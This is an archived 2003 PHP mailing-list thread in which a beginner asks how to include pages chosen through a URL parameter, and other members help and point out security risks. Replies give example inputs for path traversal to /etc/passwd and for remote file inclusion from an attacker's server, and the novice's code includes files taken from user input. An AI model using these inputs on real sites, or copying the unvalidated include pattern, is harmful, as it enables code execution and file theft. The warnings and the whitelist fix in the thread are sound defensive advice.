Re: [PHP] Re: include help please

2003-08-01 Thread LoonySalmon
nope, it doesn't work.  it'll only call up the variables that were specified
in my files.inc.php...well so far at least



Curt Zirzow [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
 * Thus wrote LoonySalmon ([EMAIL PROTECTED]):
 
  i want to call up my contact page, but how do i do it?
 
  http://localhost/index.php?page=$contact

 I hope you cant use something like:
   http://localhost/index.php?page=%2Fetc%2Fpasswd


 Curt
 --
 I used to think I was indecisive, but now I'm not so sure.



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: include help please

2003-08-01 Thread Ford, Mike [LSS]
 -Original Message-
 From: Jennifer Goodie [mailto:[EMAIL PROTECTED]
 Sent: 31 July 2003 22:42
 
  if (isset($page)) {
  include $$_GET['page'];
  } else {
  $page = $home;
  include $page;
  }
 
  would that be right?
  or should i use
 
  if (isset($page)) {
  include $$_GET['page'];
  } else {
  include $home;
  }
 
  hopefully that's right.  if so, pretty good for a n00b
 
 
 I don't think I'd let someone pass any page they wanted via a 
 get and just
 include that page.
 
 If you have URL fopen wrappers on I can create a page on my server and
 include it to your page and pretty much execute any code I 
 want on your
 server.
 
 example:
 
 http://www.yourdomain.com?yourscript.php?page=http://mydomain.
com/myscript.p
hp

Take a closer look -- that's a double $$ in front of _GET['page'], not a single one -- 
that means he must have a variable defined with the name of whatever you put as the 
value of page=, and I think he's very unlikely to have a 
$http://mydomain.com/myscript.php...!!

But, you're right, there should be some error checking for invalid page values, just 
in case someone (or something!) should try this -- something like (not tested!):

   if (isset($_GET['page'])) {
  if (isset($$_GET['page']))
 include $$_GET['page'];
  else
 include('no_such_page.inc');
   } else {
  include $home;
   }

And, as a final BTW, I'd do this with an array:

   $pages = array('fred'='fred.php',
  'barney'='barney.php',
  'rubble'='quarry/mr_rubble.inc');

   --

   if (isset($_GET['page'])) {
  if (isset($pages[$_GET['page']]))
 include $pages[$_GET['page']];
  else
 include('no_such_page.inc');
   } else {
  include $home;
   }

Cheers!

Mike

-
Mike Ford,  Electronic Information Services Adviser,
Learning Support Services, Learning  Information Services,
JG125, James Graham Building, Leeds Metropolitan University,
Beckett Park, LEEDS,  LS6 3QS,  United Kingdom
Email: [EMAIL PROTECTED]
Tel: +44 113 283 2600 extn 4730  Fax:  +44 113 283 3211 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Chris Shiflett
--- LoonySalmon [EMAIL PROTECTED] wrote:
 INDEX.PHP
  ?php
 require 'files.inc.php';
 $page = $home;
 include $page;
 ?
 
 FILES.INC.PHP
  ?php
 $home = 'home.html';
 $forum = 'forum/index.php';
 $contact = 'contact.html';
 ?
 
 http://localhost/index.php?page=$contact

http://localhost/index.php?page=contact.html

And get rid of your hard-coded set for $contact, and use $_GET['contact']
instead.

Hope that helps.

Chris

=
Become a better Web developer with the HTTP Developer's Handbook
http://httphandbook.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Chris Shiflett
 http://localhost/index.php?page=contact.html
 
 And get rid of your hard-coded set for $contact, and use
 $_GET['contact'] instead.

My apologies. I meant $_GET['page'].

Chris

=
Become a better Web developer with the HTTP Developer's Handbook
http://httphandbook.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
that isn't really what i want
i want to have a seperate file where i declare the variables.
what i'm getting at here is this, well, take a look at this page:
http://l33trus.servebeer.com/site/index.php

i just want to include a page into the table where it says that it's
included

what i'm going for here is to choose the page i want in that space by
defining it in the url, such as
http://l33trus.servebeer.com/site/index.php?page=contact

but how would i do that?





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Brad Pauly
LoonySalmon wrote:
that isn't really what i want
i want to have a seperate file where i declare the variables.
what i'm getting at here is this, well, take a look at this page:
http://l33trus.servebeer.com/site/index.php
i just want to include a page into the table where it says that it's
included
what i'm going for here is to choose the page i want in that space by
defining it in the url, such as
http://l33trus.servebeer.com/site/index.php?page=contact
but how would i do that?
Based on the code posted before I think you should be able to do:

include $$_GET['page'];

- Brad



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
ok
i have that done, but now i can't just have index.php because i get an error

is there anyway where i can check if page is defined in the url?

if so, could somebody make me a simple script? this is my first time with
php

i'm guessing that it would be something like this, but summed up



if page is defined in url, include page defined
else include home



that's what i'm thinking, but i'm not sure how to do it



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Brad Pauly
LoonySalmon wrote:
if page is defined in url, include page defined
else include home
You are on the right track. Take a look at the manual.

http://us4.php.net/manual/en/index.php

http://us4.php.net/isset

- Brad



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
if (isset($page)) {
include $$_GET['page'];
} else {
$page = $home;
include $page;
}

would that be right?
or should i use

if (isset($page)) {
include $$_GET['page'];
} else {
include $home;
}

hopefully that's right.  if so, pretty good for a n00b



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Matt Matijevich
snip
is there anyway where i can check if page is defined in the url?
/snip

not sure I know exactly what you mean but I think you could use
something like this

$foo = @include(index.php);

if ($foo) {
 //index.php was valid
} else {
 //index.php was not valid
}

there also might be a better way to do this.



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
for some odd reason, $home wasn't working, so i changed home to main and now
it works

thanks for all the good support guys/gals?

L00NY54LM0N - 16 year old coder in the makin



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: include help please

2003-07-31 Thread Jennifer Goodie
 if (isset($page)) {
 include $$_GET['page'];
 } else {
 $page = $home;
 include $page;
 }

 would that be right?
 or should i use

 if (isset($page)) {
 include $$_GET['page'];
 } else {
 include $home;
 }

 hopefully that's right.  if so, pretty good for a n00b


I don't think I'd let someone pass any page they wanted via a get and just
include that page.

If you have URL fopen wrappers on I can create a page on my server and
include it to your page and pretty much execute any code I want on your
server.

example:

http://www.yourdomain.com?yourscript.php?page=http://mydomain.com/myscript.p
hp

Now my code is included in your page and executed.  Do you really trust me
to only have nice code in my page?


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Brad Pauly
Jennifer Goodie wrote:

I don't think I'd let someone pass any page they wanted via a get and just
include that page.
If you have URL fopen wrappers on I can create a page on my server and
include it to your page and pretty much execute any code I want on your
server.
example:

http://www.yourdomain.com?yourscript.php?page=http://mydomain.com/myscript.p
hp
Now my code is included in your page and executed.  Do you really trust me
to only have nice code in my page?
This is a very good point. Definitely make sure you know what you are 
including. If you are predefining the names of the files to be included 
and then using $_GET['page'] to pass the name of the variable (which was 
being done in files.inc.php), you have control over the files that are 
included. Nevertheless, be careful. If you have register_globals on I am 
not sure what would happen if you had:

http://yousite.com/index.php?page=homehome=http://othersite.com/bad.php

Although I think you would still be ok.

- Brad



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
well crap, it turns out that i'm back to step 1, but with more code
it won't load up the other files now when defined through the url.  i guess
that there is something wrong, but what could it be?



Loonysalmon [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
 if (isset($page)) {
 include $$_GET['page'];
 } else {
 $page = $home;
 include $page;
 }

 would that be right?
 or should i use

 if (isset($page)) {
 include $$_GET['page'];
 } else {
 include $home;
 }

 hopefully that's right.  if so, pretty good for a n00b





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
and btw, this is my code now:

?php
require 'files.inc.php';

if (isset($page)) {
include $$_GET['page'];
} else {
$page = $main;
include $page;
}
?







Loonysalmon [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
 well crap, it turns out that i'm back to step 1, but with more code
 it won't load up the other files now when defined through the url.  i
guess
 that there is something wrong, but what could it be?



 Loonysalmon [EMAIL PROTECTED] wrote in message
 news:[EMAIL PROTECTED]
  if (isset($page)) {
  include $$_GET['page'];
  } else {
  $page = $home;
  include $page;
  }
 
  would that be right?
  or should i use
 
  if (isset($page)) {
  include $$_GET['page'];
  } else {
  include $home;
  }
 
  hopefully that's right.  if so, pretty good for a n00b
 
 





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Jeff Harris
On Aug 1, 2003, LoonySalmon claimed that:

|and btw, this is my code now:
|
|?php
|require 'files.inc.php';
|
|if (isset($page)) {
|include $$_GET['page'];
|} else {
|$page = $main;
|include $page;
|}
|?
-- 

Is $main being set inside a function?
http://www.php.net/language.variables.scope
Also, for future compatability, you should probably change the 3rd line to
if (isset($_GET['page'])) { That will also help incase files.inc.php is
inadvertently setting varables incorrectly.

Jeff
-- 
Registered Linux user #304026.
lynx -source http://jharris.rallycentral.us/jharris.asc | gpg --import
Key fingerprint = 52FC 20BD 025A 8C13 5FC6  68C6 9CF9 46C2 B089 0FED
Responses to this message should conform to RFC 1855.



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread LoonySalmon
thanks jeff harris, that is exactly what my problem was,
now it works
good night all

thank a million


Jeff Harris [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
 On Aug 1, 2003, LoonySalmon claimed that:

 |and btw, this is my code now:
 |
 |?php
 |require 'files.inc.php';
 |
 |if (isset($page)) {
 |include $$_GET['page'];
 |} else {
 |$page = $main;
 |include $page;
 |}
 |?
 --

 Is $main being set inside a function?
 http://www.php.net/language.variables.scope
 Also, for future compatability, you should probably change the 3rd line to
 if (isset($_GET['page'])) { That will also help incase files.inc.php is
 inadvertently setting varables incorrectly.

 Jeff
 --
 Registered Linux user #304026.
 lynx -source http://jharris.rallycentral.us/jharris.asc | gpg --import
 Key fingerprint = 52FC 20BD 025A 8C13 5FC6  68C6 9CF9 46C2 B089 0FED
 Responses to this message should conform to RFC 1855.





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: include help please

2003-07-31 Thread Curt Zirzow
* Thus wrote LoonySalmon ([EMAIL PROTECTED]):
 
 i want to call up my contact page, but how do i do it?
 
 http://localhost/index.php?page=$contact

I hope you cant use something like:
  http://localhost/index.php?page=%2Fetc%2Fpasswd


Curt
-- 
I used to think I was indecisive, but now I'm not so sure.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php